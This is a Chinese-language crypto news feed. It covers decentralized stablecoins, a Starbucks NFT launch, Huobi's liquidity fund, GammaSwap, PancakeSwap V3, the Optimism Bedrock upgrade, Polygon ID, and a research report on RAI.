Liquity，它的抵押资产只有ETH，流动性的交易对只对标WBTC和ETH等去中心化代币。完全隔绝中心化的干扰。清算上，它考虑通过自动清算池完成，杜绝因流动性不足而穿仓。但Liquity稳定性比较差，而且缺乏对LUSD流动性的机制性激励。项目不明白稳定币的流动性是项目提供的核心价值。代币分发已经接近尾声（91%的代币已经发出。），但市场规模依然没有形成垄断性的优势。 【图六】LUSD规模难以扩大 Liquity设计的一大亮点是创造了LUSD的额外需求：LUSD是超额抵押机制，当抵押被清算时，是通过抵押池内的LUSD清算，清算时，LUSD会以折扣价获得抵押资产ETH。历史数据显示，这种清算对LUSD的抵押者有利。加上LUSD挖矿LQTY，66.8%的LUSD进入了抵押池，而非进入通过交易对转化为其他主流稳定币。因此在Curve的交易池中，LUSD没有像其他小型稳定币那样“资产失衡”。 【表二】LUSD的供需场景 Inverse.finance，使用ETH和OETH去中心化资产为信用抵押品贷出美元稳定币DOLA。采用的方法也是超额抵押。价格稳定机制依然是依靠套利和利率控制。但inverse.finance铸造的DOLA依然是挂钩USD，是美元的影子。inverse.finance 专门设计出了一个代币DBR，用DBR作为利率清算的工具DBR的价格反应借贷DOLA的利率水平。DBR的出现，让借贷策略更加灵活多变。在产品设计上注意信息的公开和披露。这种考量，往往是优秀的大型项目才具备的。 DOLA设计了债券的模式，锁仓DOLA折扣获得INV，它的平台币。 DOLA的规模变化： 【图八】Dola规模逐步扩大 DOLA的劣势非常明显，它的借贷利率居然高达4.92%，这远远超出了MakerDAO所提供利率水平，也高于号称无利息的LUSD。因此规模难以扩大。 RAI是一款以自定义指数为锚的，铸币稳定币。RAI利用赎回利率调控市场中稳定币的供给数量，进而让RAI的价格贴近系统设定的理想价格。RAI的锚定价格摆脱了美元的阴影。但建立价格的共识成本极高，必须要有足够大的规模效应。而在稳定机制设计上，没有采用市场普遍接受的超额抵押机制，这让RAI已经逐渐走向消亡。但作为去中心化稳定币的激进的探索者，如果区块链世界面临越来越紧迫的中心化威胁，RAI依然有可能死灰复燃。 综上，稳定币赛道，只要不是完全去中心化，就面临完整的中心化风险。面临中心化风险的稳定币赛道，以USDT，USDC为首的中心化稳定币独占鳌头，已经形成成熟的垄断产业格局。去中心化稳定币里，第一，市场份额小，市场依旧处于发展初期，道路渺茫，但充满希望。第二，去中心化稳定币拥有固有的市场。第三，任何一个去中心化稳定币都没有在细分赛道中形成嚇阻竞争对手的垄断规模优势。 参考文献： https://vitalik.ca/general/2022/05/25/stable.html https://www.forbes.com/sites/jeffreydorfman/2017/05/17/bitcoin-is-an-asset-not-a-currency/?sh=73beeba42e5b https://www.tuoluo.cn/article/detail-10093593.html https://books.google.la/books?hl=en&lr=&id=wWHvAgAAQBAJ&oi=fnd&pg=PP1&dq=Ancient+Egyptian+Materials+and+Industries&ots=nWxhEHGfAt&sig=cmdQabDZg8xxO_GWoLk8GzOxw5U&redir_esc=y#v=onepage&q=Ancient Egyptian Materials and Industries&f=false https://foresightnews.pro/article/detail/22514 https://cointelegraph.com/news/circle-discloses-full-breakdown-of-55-7b-usdc-reserves https://ethresear.ch/t/who-is-the-moses-parting-the-red-sea-in-algo-stablecoin-after-fei-s-dilemma-gyroscope-or-titi/10246 https://docs.liquity.org/faq/stability-pool-and-liquidations https://news.marsbit.co/20221212213954752574.html Money in the Late Old Kingdom: A Study of the Types and Functions of Clay Tokens Used as Money in Ancient Egypt  ( 5 min )
    18分钟售罄，涨幅278%，星巴克的第一款付费NFT首战告捷
    星巴克于今日凌晨4点发布第一个付费NFT Siren Collection, mint 价格$100, 数量 2k, 18分钟内售罄 地板价一度突破$600, 目前是 $378，仍然是 278% 的涨幅。我整理了内测到目前的动向，背后的意图逐渐清晰： 1.Free Stamps Starbucks  Odyssey 自从去年 12 月开启内测，到目前已经发布了 4 个 Journey, 对应 4 个 Stamps（NFT），已经产生了$218k 的二级市场交易量。这 4 个 Stamps 都是完成任务后用积分免费兑换，也就是说最初的 holder 都实现了 participate-to-earnholiday season。（相关阅读：《星巴克进军 web3，标志着 NFT 行业下一个里程碑》） 80% 的交易量都是由 Holiday Cheer Edition 1 Stamp 的贡献，此 NFT 的地板价目前是$1499, 最高达到过 $2000 该 Stamp 的 utility 目前未知，价格高的原因可能是因为其holiday season本身已经深入人心，每年主题都不一样，具有某种纪念价值 对应限时任务 Holiday Cheer, 2023.1.2 已经结束。 2.Paid Stamps 星巴克 12 月开启Odyssey内测时就剧透了会有限量版付费Stamps，2 个月后发出第一封预告邮件，然后每隔几天有一次 Sneak Peak, 节奏掌握的还不错。 今日发售的 Siren Collection 是基于其女妖（Siren）标识的艺术画作，购买后会获得 1500 点积分 官方诠释：每枚邮票上都有你从未见过的星巴克海妖，以及我们过去五十年来的各种艺术作品。每一项设计都通过传说、神话和冒险，用美丽、有层次的艺术品描绘了我们对咖啡的爱，每一件都是独一无二的。 除了Odyssey之外，Starbucks 还做了一件有趣的事，和播客策展平台 Hark Audio 联合推出了名为 The Starbucks Daily 的播客（内置在星巴克App中）。通过每天 2-6 分钟的音频精选，提升用户喝咖啡时的体验，另外 CMO 称还会为会员提供特别活动，比如新帝国大厦的开幕式。 4.Lifestyle Brand 围绕一系列内容的打造，包括Odyssey, Starbucks Daily和Event, 星巴克不断增加和会员互动的机会 当会员买完咖啡后，其与星巴克的互动并没有结束：可以收听播客，在Odyssey中赚取NFT，在晚上参加活动。在这些场景里可以增加更多的品类，提升其商业空间，升级为生活方式品牌。 CEO 霍华德·舒尔茨财报电话会议上表示，为公司发现了一个持久的、变革性的新类别和平台，这与其经历过的任何事情都不一样。然后他透露了一个单词 Alchemy。Alchemy 既有炼金术的意思，也可能指同名的 Alchemy Web3 开发平台，具体要做什么则拭目以待了。 另外，越来越多的大公司高管进入 Web3： 希望这些行业老兵可以帮助找到更好的PMF。 目前来看 Starbucks Odyssey 的节奏和交付还不错， 围绕生活方式一步步做品牌建设提升其天花板，希望可以影响更多的 Web2 大公司进入 Web3。  ( 5 min )
    火必将成立1亿美元流动性基金
    3月10日凌晨，加密货币出现大幅波动，BTC一度跌破20,000美元关口。受系列消息影响，HT出现短时价格异常。 火必全球顾问委员会成员孙宇晨发文对此回应称：“火必交易所运营一切正常，钱包正常，运营正常，后台正常。只因为现货、合约HT代币有部分用户触发杠杆连环爆仓的盘面现象。目前各项工作正稳步开展，并无任何突发现象，仅仅属于市场行为与波动。” 针对HT异常波动造成的部分用户资金损失，孙宇晨表示，“对于HT市场波动所导致杠杆穿仓损失，火必平台将全额承担。对于少数用户杠杆清算所造成盘面波动影响，我们深表歉意。为了进一步提升火必平台多币种流动性，我们将出资1亿美元成立流动性基金，持续改善主流币、HT流动性深度，加强杠杆预警与流动性能力。对于本次事件，我们会就后续进展与社区保持同步。” 据Coindesk报道，北京时间3月10日11时27分，标记为孙宇晨的链上钱包地址已向火必转入1亿枚USDC，以防止HT断崖式下跌，同时全方位增强火必站内资产流动性。 对于区块链数据分析平台Nansen指出的孙宇晨在过去24小时从火必转出6000万美元稳定币一事，孙宇晨方面表示，提款为其自有资金，属于个人交易行为，与火必平台无关。另外，孙宇晨指出，提款行为发生在HT异常波动之前，无法也不能预测到10日凌晨发生的事件。目前，这一问题已得到Nansen和Coindesk证实。 火必作为加密市场重要参与者，将不断加强风控及安全策略，同时联合更多行业从业者，通过技术创新等保证用户资金独立安全，帮助中心化交易所和用户重建信任，以激活加密市场的流动性。  ( 4 min )
    Celsius债权人：法院判决客户并不对每个债务人实体都有索赔权
    PANews 3月10日消息，Celsius官方无担保债权人委员会 (UCC) 发推文称：“美国联邦法官Martin Glenn不同意UCC和Celsius的观点，他同意优先股持有人的观点，认为客户并不对每个债务人实体都有索赔权。UCC不同意这一判决，并对判决结果感到失望。UCC正在考虑其选择，以确保客户从Celsius中获得最大的价值。”  ( 4 min )
    解析Arbitrum上的衍生品DEX GammaSwap：将无常损失转化为“无常收益”
    原文：《Alpha Track | GammaSwap ：将无常损失转化为“无常收益”》 注：本文主要介绍 GammaSwap 针对LP 无常损失提出的解决方案，不作任何投资建议。 GammaSwap 是建立在 Arbitrum 上的链上衍生品 DEX ，旨在解决流动性质押中 LP 们不得不承受的无常损失的痛点。为了理解 GammaSwap 的设计理念，我们先要了解 DEX 们目前采用的恒定函数做市商（CFMM）会造成无常损失的本质原因。 (如果您对Uniswap V3 和无常损失已经非常了解，可以跳过这部分) 相较于其他 DEX 的 AMM 池子将流动性均匀的分布在 x*y=k 这条曲线上，Uniswap V3 版本最大的特点是集中资金池（Concentrated Liquidity），允许 LP 在其选择的价格范围内提供流动性。举个极端的例子：稳定币 USDC-DAI 的价格基本维持在 0.99-1.01 之间，而池子中 99.5% 以上的流动性分布在可能永远达不到的价格上，资金效率低下。而 UNI V3 中，用户可以自定义在哪个价格区间内提供流动性，提高了资本效率，能赚取更多的手续费奖励。但同时，用户也将承受更高的无常损失风险，相当于是对流动性头寸加了杠杆。 无常损失简单来说就是：当 AMM 池中存入的资产价格发生波动时，LP 头寸中的资产数量也会变动，会减少因价格上涨而带来的浮盈，以及增加因价格下跌而带来的浮亏。波动率越大，无常损失也越大，如果价格又回到了初始的状态，那么无常损失将为 0，因为价格波动是无法预测的，所以这种风险被称为“无常损失”。 举个简单的例子：假设 ETH 价格为 1000$，用户存入了 1 个 ETH 和 1000 个 USDC 的 LP 头寸，然后 ETH 价格来到了 2000$。 1)如果选择在所有的价格区间内提供流动性（V2） 用户的 LP 头寸会跟随池子整体的头寸变化而变化，此时 LP 头寸会变为 0.707 个 ETH 和 1414 个 USDC，总价值 2828$，相较于初始存入的 1 ETH 和 1000 USDC 来说，本金损失了 5.72%。（具体计算过程参照 Uniswap文档） 2)如果选择在 [500,1500] 的价格区间内提供流动性（V3） 用户的 LP 头寸会在 ETH 价格达到 1500$ 的时候全部变为 USDC，此时无常损失达到了21.5%，这种情况下相当于是 V2 的 4 倍。（具体计算过程参照 Uniswap文档） 期权是一种金融合约，买方付出一笔期权金后，拥有能在到期日或到期日之前，以预先确定的价格（行权价格）购买或出售资产的权利。在传统期权市场中，存在两个术语：delta 和 gamma。 delta 是指标的资产价格变动时，期权价格的相对变动幅度。比如一份 ETH 看涨期权的 delta 为 0.5，即当 ETH 现货价格变动 1 时，期权价格就同向变动 0.5，可以通过卖出0.5 个 ETH 来对冲。由于 delta 是动态变化的，所以需要动态调整标的的头寸来保持delta 中性，这就是 delta 对冲。 gamma 是指 delta 值相对标的价格变化的变动速率，当 gamma 较大时，说明 delta 相对标的价格变化很快，因此需要及时调整标的头寸，否则容易承受损失，这就是 gamma 风险。在不考虑时间因素的情况下，波动率越大，期权金越贵。 (资料来源：optiontradingtips) 联系到 DEX 们采用的 AMM 模式，当池子中的一种资产相对另一种资产的价格变动时，池子中两种资产的数量会沿着 x*y=k 曲线非线性的变化，可以理解为 DEX 在通过恒定函数曲线来动态对冲 delta。 当资产波动率大时，gamma 风险也就越高，LP 们承受的无常损失也就越大（期权金）。因此 AMM 可以看成是内嵌了一个永续期权市场，始终在动态地对冲其储备中假设的多头看跌期权的风险敞口，而 LP 则暴露在 gamma 风险之下（相当于做空 gamma），承受无常损失的风险来获取交易手续费。 但交易手续费与波动率之间不能用一个表达式直接挂钩， DEX 也将手续费称作为提供流动性的激励，这意味着 LP 缺少了承担这部分 gamma 风险相对应的补偿。很多时候手续费收入并不能 cover gamma，比如行情波动较大时或者一些 shit coin 池子，尤其是当在较窄范围内提供流动性时，会放大 gamma 风险。 Uniswap V3的源码商业许可证即将在 4 月份到期，不少 DEX 正在基于 UNIV3 的基础上做部分改良来推出自己的 V3 版本，包括 PancakeSwap 和 Osmosis 等。届时很多用户可能会在资本效率与无常损失之间难以抉择。 GammaSwap 正致力于解决这一问题，允许用户借入 LP 来做多波动率（gamma）。 1）机制介绍 GammaSwap 中有两个参与者。做空 gamma（波动率）的 LP 提供者和做多 gamma 的借款人。在 Uniswap ETH/USDC 池的情况下，LP 可以使用储备代币（ETH 和 USDC）或直接使用 Uni LP 创建头寸。假设 LP 将储备代币存入 ETH / USDC 池。GammaSwap 会将这些基础代币存入 Uniswap，接收 Uni LP 代币并保留在智能合约中。GammaSwap 随后会向 LP 提供者发行 GammaSwap (GS) ERC-20 LP 代币。GS LP 持有者不仅可以获取 Uniswap 中的交易手续费，还可以从借款人手中获得利息。当波动率较大时，做多波动的需求会增加，利率也会上涨，因此即使 GS LP 没有选择对冲无常损失，仍然会获得更好的补偿。 对于希望做多 gamma 的人，需要先提供足够数量的抵押物（ETH、USDC等）才能借入 LP，会收到一个类似于 Uni V3 的 NFT 来管理他们的贷款。当用户开仓时，GammaSwap 将 Uni LP 代币兑换为基础代币并创建合成 GS LP。然后就可以通过将代币比例倾斜向某一种，来做多波动率，并获得类似期权的回报函数。 贷款必须保持 90% 的 LTV 比率才能保持健康。如果贷款超过这个门槛，将会被清算。随着基础代币向任一方向移动，贷款变得过度抵押，用户可以用储备代币购买更多的 LP 代币。 gamma 多头可用于多种策略：1. 对任何代币对的波动率进行杠杆押注 2. 对冲无常损失 3. 保护自己免受新项目的影响。通过做多 gamma，有机会将“无常损失”变为“无常收益”。 值得注意的是，据官方宣称，GammaSwap由于其收益率曲线的形状，不需要依赖预言机进行价格验证来防止闪电贷攻击，因此可以应用于任何 AMM 中的任何流动资金。即使是全新的未经测试的项目也可以提供长期的波动性敞口，以增加其代币流动性提供者的收益并降低参与此类项目的风险。关于这一点，可能需要进行更多的测试来检验安全性。 2）项目背景 GammaSwap 创始人为@0xDevinG，对 defi 有非常深的理解，其余团队成员信息暂未披露； GammaSwap 目前完成了 170 万美元种子轮融资，参投方包括 Skycatcher Crypto、Dialectic、Space Whale Capital、Modular Capital、Portico Ventures、Ouroboros Capital、Owl Ventures、RenGen、Manifold Trading，个人投资者包括 GMX 核心成员以及 DeBank 上持仓金额第二大钱包所有者等； GammaSwap 目前已与 SushiSwap、Balancer、Olympus 达成合作； GammaSwap 目前通过了Zellic 和HalbornSecurity 的审计，更多的安全审计正在进行中； GammaSwap 于 2022 年 12 月底开放了测试网，目前仍在测试中，预计将在未来几周内上线 Arbitrum，社区活跃度较高； 3）总结 GammaSwap 通过借贷给 LP 持有者提供更多收益可能性，补偿 LP 因 gamma 风险带来的无常损失。而 gamma 多头针对不同的 LP 也有多种策略玩法。 GammaSwap 最大的风险来自于智能合约，由于其不借助预言机验证，对合约设计和安全性有较高要求。 GammaSwap 面向的对象为所有 AMM 中的 LP，解决了 AMM 的部分痛点，通过与 DEX 的集成在目前的存量市场中另辟蹊径。目前这块市场竞争者较少，GammaSwap 具有先发优势。  ( 6 min )
    速览PancakeSwap近期更新与V3：引入做市商、降低交易费用、激励交易量
    虽是BNB链上的龙头，PancakeSwap在DEX的对比中却经常被忽视，实际上它的流动性仅次于Curve和Uniswap，截至3月9日，TVL为25亿美元。在2020年推出后，PancakeSwap不断进行着更新，如接入永续合约交易，扩展到其它链上、降低稳定币交易的手续费等。在部署到Aptos上并开启流动性挖矿后，PancakeSwap也一跃成为Aptos上TVL最高的项目。 面对Uniswap V3即将部署到BNB链上的预期，以及BiSwap、Thena等BNB链上已有DEX的竞争，PancakeSwap在近期继续进行了一系列更新，降低交易费用并希望能增加交易量。根据PANews的了解，PancakeSwap V3很可能会增加和Uniswap V3类似的流动性聚集功能。 3月3日，PancakeSwap宣布在BNB链上集成了做市商（MM）进行报价。此前，PancakeSwap已经在以太坊上集成了做市商报价功能。这里的做市商应当特指中心化做市商，类似于Hashflow提供的服务（Hashflow为Binance Launchpad项目，且大多数流通的HFT都存放于Binance中）。中心化做市商通常会凭借自己的交易量优势和中心化交易所达成合作，吃单只需极低的费率，而排单成交还可以获得交易所的返利。 此后，在PancakeSwap进行交易的时候，会自动对比原有的由AMM的x*y=k公式计算出的兑换比例和做市商给出的兑换比例，为用户选择更优路径进行交易。 做市商拥有的流动性可以认为是和已有的AMM独立的，交易手续费也更低，在综合考虑各项成本后，选择最优路径。如下图所示，现在在PancakeSwap上交易很可能会通过做市商直接成交，等于为PancakeSwap引入了更多的流动性和更低手续费的交易路径。 在AMM交易中，PancakeSwap收取0.25%的非稳定币交易手续费以及0.01%的稳定币交易手续费。如果通过做市商进行交易，PancakeSwap将收取0.0375%的手续费。AMM交易有滑点的损失，交易量越大滑点越大，做市商的交易则不用考虑滑点（但可能在制定策略时会考虑，只是用户不会直观感受到）。因此，在原来的PancakeSwap AMM上交易的摩擦包括AMM 0.25%的交易手续费+滑点。 在引入做市商后，做市商可以根据中心化交易所的价格进行报价，由于PancakeSwap通过做市商成交的手续费只有0.0375%。做市商完全可以凭借自己的费率优势在PancakeSwap上提供报价，并在Binance等中心化交易所进行对冲。交易手续费的差值部分可以在中心化交易所对冲交易的费率、做市商利润和为交易者让利之间分配。 对于Trader，交易手续费降低带来更低的手续费和更好的兑换比例，但是原有的流动性提供者获得的交易手续费则可能会降低。 同样在3月3日，PancakeSwap在推特上宣布，将于4月份的第一周推出PancakeSwap V3。新的功能将为用户提供更好的体验，并帮助更多的人使用DeFi。 根据PancakeSwap的推特，其更新包括： 据报道，PancakeSwap将提供一些新的功能，包括改善提供流动性的方式、有竞争力的交易费用、进行交易激励、改进流动性挖矿体验等。 虽然官方并未公布PancakeSwap V3将包括哪些更新，但从过去已经进行的一系列工作可以进行推测。 2月15日，PancakeSwap治理论坛上出现一个“v3产品的排放重定向提案”。该提案的主要目的是为了v3某些功能的开发，将原来分配给Staking（CAKE单币质押池）的一部分CAKE分配给Trading（包括各条链上的流动性挖矿和交易激励）。 在原有的CAKE分配方案中，增发的CAKE将会在每个区块为Trading分配2.11 CAKE，为Staking分配7.65 CAKE。除此之外，还会每个区块为CAKE彩票分配0.1389 CAKE。在这些基础上，每当有人收获CAKE奖励时，开发者地址会额外铸造9.09%的代币。 这是PancakeSwap近期争议最大的一个提案，总共获得了2.74亿同意票和1.21亿反对票，以69.35%的支持率获得通过。而其它提案总的票数通常只有数千万票，如最近的两项提案"Angle（agEUR）农场提案"和“Stader（$SD/$BNBx）Syrup池和农场提案”分别只有约4280万和3250万投票，且支持率均超过90%。 提案通过后，Trading的分配增加为3.11 CAKE每区块，Staking的分配减少为6.65 CAKE每区块。 按照提案中的说法，额外分配给Trading的每个区块1 CAKE的部分将“用于尚未发布的开发，这将显著增强PancakeSwap的交易量，以及其作为最佳多链DEX的地位”。 根据官方描述，PancakeSwap V3推出和Uniswap V3类似的流动性聚集功能是很有可能的，虽然官方并未公布详细信息，但PANews在社区中询问后，也有众多社区成员做出同样的猜测，并获得了管理员的认同。流动性聚集功能也需要额外的流动性激励、能够有更高的资金效率并有效提高交易量，符合PancakeSwap过去的工作和官方描述。 PancakeSwap V3活动：空投和NFT奖励 为了庆祝PancakeSwap V3的即将发布，PancakeSwap现推出了13.5万美元的CAKE和额外的NFT空投活动，以奖励早期支持者。 要参加这项空投活动，用户必须在3月5日13:00（UTC）之前在PancakeSwap中的BUSD/WBNB、USDT/WBNB、BTCB/WBNB、ETH/WBNB这四个流动性池中持有500～20000美元的流动性，且在4月3日12:00前不移除流动性。空投奖励将在各个层级的所有合格用户之间分配。合格用户还将获得独家PancakeSwap V3传奇NFT。 符合上述条件的用户，可以通过在PancakeSwap的上述4个流动性池中额外增加500至20000美元的流动性来参加第二部分的空投，价值3万美元。额外的流动性必须在3月18日12:00前添加，并维持到4月3日12:00之前。  ( 4 min )
    Optimism主网Bedrock升级提案V2版本已发布，涵盖严格的升级标准流程
    PANews 3月10日消息，治理页面显示，关于以太坊二层解决方案Optimism主网Bedrock升级提案的新版本（即V2版本）已发布，该版本制定了一套严格的升级上线标准，而不是在提案本身中指定确切的日期。 该标准流程为：1.先在Optimism Goerli上进行Regolith硬分叉（预计北京时间3月18日03:00激活），其中包含Sherlock最近发现的改进；2.后续审计，以测试上次审计后所做的修复；3.进行从无效输出root迁移和恢复的内部升级演练，在共识和功能冻结的版本上进行2周的测试网稳定性，然后发布公告并提前3周通知社区Bedrock升级时间。只有在达到测试网稳定性的标准后，Optimism基金会才会宣布升级日期，至少在发布日期后3周。升级将在特定时间触发，而不是区块高度。 新版本与初始版本不同的地方在于，新版本包括：1.在审计竞赛Sherlock中发现的改进（包括3个高位漏洞和11个中等危险漏洞），2.明确指出停机时间即在升级期间交易将暂停（该版本的提案没有预先承诺一个日期，而是包含了严格指定的升级启动标准，其中包括即使在投票结束后也会阻止或延迟升级的情况）。3.这个标准的简易概况是:对一个特性和共识冻结的Goerli进行2周的测试网稳定性，然后至少向社区发出3周的通知。  ( 4 min )
    链上身份层Polygon ID：想打造Web 2体验级的Web 3身份系统
    近日，以太坊扩容方案提供商Polygon宣布推出Web 3身份系统Polygon ID，并且将会融合至Polygon zkEVM之中，构建统一的链上隐私扩容服务。 除此之外，Polygon ID还将推出身份SDK和钱包dApp开发接口，以便更多应用接入其中，截至目前，Nothing手机、无担保借贷协议PULP和去中心化住宿预订项目Decentral Couch，以及如 Kaleido、Fractal 和 Collab.Land 都已支持 Polygon ID。 Polygon ID将基于使用零知识证明技术的去中心化身份协议 iden3 进行封装，可以使验证者在无需获取个人数据的同时检查个人凭证是否有效，以便于将现实世界的身份迁移至Web 3的同时保护用户隐私，并且满足监管部门的KYC/AML等需求。 通过对Polygon ID的研发，Polygon已经构建起从协议层到身份层，以及各类Layer 2和应用层的完整体系，而在面对后账户抽象时代的以太坊生态，Polygon ID又可以起到兼容链上和链下数据，沟通外部钱包和智能合约的双重作用。 Polygon ID想做到全流程的隐私，因此必须从验证身份入手。从dApp和用户的交互流程切入，Polygon ID 使任意组织都能够签发有关用户的可验证凭据（VC，Verifiable Credentials），而任意的dApp都可以利用一套标准来验证证明的有效性。 如果要做到用户和dApp双向的保护隐私，必须从数据来源和身份类别入手进行划分，以保证无论何种数据类型，在任何身份调用场景下，都可保证证明有效性。数据可以划分为链上和链下两种数据，身份可划分为现实世界的ID和链上原生的DID、钱包和域名等，比如政府签发的身份证和巨鲸地址的实体关联，便属于不同类型的数据和身份格式。 Polygon ID的作用就是串联起不同的身份和数据，并且使用ZK技术来保证其隐私安全。每个身份都可以进行标准化，称为DID（去中心化标识符），随后通过可验证凭证 (VC) 进行表示，并且通过ZK加密后传递给不同的请求方，比如身份被调、账户登录、钱包地址确认等，并且符合W3C的DID格式，以便于后续的应用场景扩展。 Polygon ID可以被解构为三部分，分别是Issuer（发行者）、Identity Holder（可验证凭证持有者）和Verifier（验证者），各部分作用如下： 以太坊之上的身份层 如同Polygon zkEVM是通过收购Hermez而来一样，Polygon ID也是基于 iden3 进行的二次封装。iden3在更定义了各方相互通信和交互的方法，而 Polygon ID 是一个抽象层，使开发人员能够以简易方式构建dApp，并且开放给任何 Web3 钱包，都可以利用 Polygon ID Wallet SDK 添加与之类似的功能。 以钱包为例，Polygon ID允许用户作为私钥的唯一保管人，可以控制自身数据的外露程度，还遵守自我主权身份（SSI）原则，凭证信息仅可存储钱包本地文件，而无需上链，与智能合约交互的是经ZK加密后的验证数据。持有者使用凭证时不需要向发行者或者验证者进行申请，而发行者在将可验证凭证 (VC) 签发出去之后，也无法追踪其流向和交互情况。 验证者可以通过调用智能合约来进行标准设置，Polygon ID 可以对链上或链下数据进行自动化审核，例如，一个发行者生成的信息可以被多个验证者使用，无需单独请求许可。而持有者也可以在一个钱包中收集来自不同发行者的多个凭证来建立自身的凭证系统，如同集合身份证、社保卡和驾照一样，构建出自己的多维身份系统。 Polygon ID的目标是成为以太坊之上的身份层。DID是现实世界和链上环境进行联系的交汇点，而目前存在的问题是DID的形式并未取得共识，至少存在上文提到的VC（可验证凭证）、ENS等去中心化域名、钱包地址和Vitalik提出的SBT（灵魂绑定代币）和Stealth address（隐私地址）等五种形式。 Polygon ID 的同时发布了一系列自我主权身份（SSI） 开发包，包括验证者 SDK、发行者节点、钱包 SDK 和钱包应用程序等4种新工具，开发人员可以将去中心化身份集成到现存Web 2或者Web 3应用程序中，并以Web 3原生方式满足现存合规性要求， 而Polygon ID所处的位置贴近底层以太坊协议，并且可以被Polygon PoS、Avail、Nightfall、各类ZK Rollups方案所调用，将会推出Wallet服务作为其统一的身份解决方案，以增强链上用户在Polygon体系的归属感；而在Polygon ID Wallet SDK的加持下，非Polygon体系的开发者也可以构建属于自身的钱包解决方案，以促进整个以太坊生态迈入身份隐私时代。 Polygon ID和Polygon zkEVM的深度融合，也将会让其更为完整。目前的zkEVM数据仍然存储在链下，链上仅存储有效性证明，减轻解数据存储负担，同时zkNode来管理网络中的角色，保证各节点、排序器和聚合器各司其职，zkProver负责生成零知识证明，zkBridge负责在L1和L2间、L2和L2间传递资产。而Polygon ID的加入，则是Polygon zkEVM在从链上/链下数据的汇入，各类角色的身份辨识以及资产流向等方面进行增强。 基于Polygon ID开发的身份系统可以在不同的EVM兼容链和L2之间相互通信，链上声誉系统、信用借贷和RWA（现实世界资产）等DeFi应用都可以对现有模式进行创新。 并且，DID赛道可以触及主流群体的需求，Web 2侵犯用户隐私的事件屡见不鲜，Polygon ID 这种身份基础设施允许任何人成为 Web3 身份的颁发行者、验证者或持有者，改变大厂和机构等中心化实体对个人数据的占有和滥用的局面。  ( 5 min )
    RAI：V神眼中的去中心化稳定币“理想型”
    机构：Mint Ventures 作者：Lawrence Lee, Mint Ventures研究员 前言 伴随着美国证券交易委员会（SEC）对BUSD的证券指控，以及Binance上线去中心化稳定币协议Liquity的“治理”代币LQTY，去中心化稳定币又一次成为了市场热点。 去中心化稳定币赛道是Mint Ventures长期关注的赛道，我们对比较优秀的去中心化稳定币项目都进行了比较及时、全面的覆盖，所产出研报包括《从货币协议到DeFi矩阵，多角度解析Frax.finance》、《Liquity：稳定币市场的后起之秀》、《学院派稳定币新秀：Angle Protocol》、《稳定币赛道的三好学生Celo，能复制Terra的崛起之路吗？》，对于迅速崛起又流星般坠落的Luna/UST，我们也有《Terra：稳定币军团的崛起之路》、《千万美金赌局背后：Luna到底是不是庞氏骗局？》两篇分析，有助于各位读者对于了解各个去中心化稳定币的领先项目。 监管问题始终是悬挂在稳定币项目头上的达摩克利斯之剑，也是去中心化稳定币项目最大的发展契机，我们也始终关注监管的动向：《监管风暴开启机会之窗，哪些去中心化稳定币值得关注？》、《监管之雷终于降临，去中心化稳定币的春天要来了吗？》两篇中，我们分析了比较值得关注的去中心化稳定币项目，以及去中心化稳定币发展的契机和忧患。 本期研报，我们将关注在去中心化/去信任化方面做的比较极致的去中心化稳定币项目Reflexer Finance，其发行的“稳定币”RAI不依赖任何中心化的货币，甚至不依赖美联储。 本文由笔者基于撰文时的项目信息、市场背景写就。受限于作者的认知和信息局限，文章内容可能存在数据、事实、分析推演层面的错误，欢迎同业交流指正，本文所有内容均不构成投资建议。 一. 报告要点 1.1 核心投资逻辑 RAI具有非法币锚定、完全去中心化、以及最小化治理的极致去信任特性，是以太坊网络上最去中心化的稳定币之一，也被以太坊创始人Vitalik称为是“仅由 ETH 支持的抵押自动稳定币的纯粹理想类型”。 稳定币赛道业务基础稳固，在过往的加密周期中发展迅速，超过行业平均水平。在稳定币的细分赛道中，伴随着近期监管对稳定币的高压态势，RAI所处的去中心化稳定币赛道，由于具有更加符合抗审查和去信任的加密世界主流叙事、同时目前的发展程度更低，具有更加广阔的发展前景。另外RAI还有不锚定法币这一目前稳定币市场中的稀缺特性，使得其不仅可以免于美国的监管，也可免受美联储货币政策的影响。 1.2 主要风险 RAI的风险包括： PMF风险：非法币锚定的稳定币在用户端的接受度低 市场推广阻力因素较多： 仅以ETH为抵押物会影响RAI在用户端的推广 最小化治理的理念使得团队运营抓手更少 治理代币FLX流通量已经超过67%，后续用于用例推广的激励可能不足 团队风险：在联合创始人Stefan出走之后的近一年时间，团队在用例扩展和市场推广方面的进展都较为一般RAI的风险包括： 代码风险：RAI机制新颖且基于PID（Proportional–Integral–Derivative Controller，比例-积分-微分控制器，广泛用于工业设计中的反馈控制）理念的链上控制系统并无先例，虽然经历了2年的安全运行以及代码审计机构的审计，但仍有潜在风险尚未暴露的可能性 1.3 估值 从P/S角度看，与同为以太坊网络完全去中心化稳定币的Liquity相比，Reflexer的估值更低；而从稳定币规模角度来看，Reflexer则相对高估。 详见4.2 估值水平。 二. 项目基本情况 2.1 项目业务范围 Reflexer Finance的唯一业务是“稳定币”，由Reflexer Labs开发和运营。 其核心业务流程比较简单：用户超额抵押ETH生成稳定币RAI，用户付出2%的年利息即可持续使用RAI。用户偿还 RAI，并支付借贷利息，就可以赎回ETH。系统治理目前由治理代币FLX的持币者进行，长期他们希望实现“无治理”。 与DAI和其他绝大多数稳定币不同的是，RAI并不锚定任何法币或实物，而是由市场供需关系来自动调节目标价格，最终达到其“基于ETH的低波动资产”的目标。具体我们将在2.3 业务详情一节展开。 2.2 项目历史沿革和路线图 Reflexer Finance的历史沿革如下表： 在路线图方面，除了下文将会详细讲述的最小化治理之外，RAI也在考虑是否将抵押物扩展如stETH之类去中心化资产，Vitalik也在Reflexer治理论坛提起了关于RAI系统如何支持LSD的讨论。 2.3 业务详情 对于稳定币，我们首先要考察的是其核心产品机制。包含供给控制机制、清算机制、坏账处理机制等的一整套自洽的核心产品机制，是稳定币项目长期发展的基石。诸如ESD/BAC等算法稳定币之所以迅速消亡，UST之所以螺旋上天又史诗级崩溃，就是其核心产品机制并不长期可持续。 2.3.1 供给控制机制 对于稳定币乃至任何货币而言，供给控制机制都是其设计中最重要的一环，由于市场需求整体并不可测（虽然也可以通过各种手段来刺激需求，但是需求端的刺激对于价格调控这一目标而言是间接的，并且需求端的刺激更多的不是源自机制，而是源自激励），所以稳定币能价格保持稳定的核心机制主要是靠供给控制。一个能够灵活响应市场而又始终保持底层稳定的供给控制机制，是每个稳定币项目都希望能构建的。 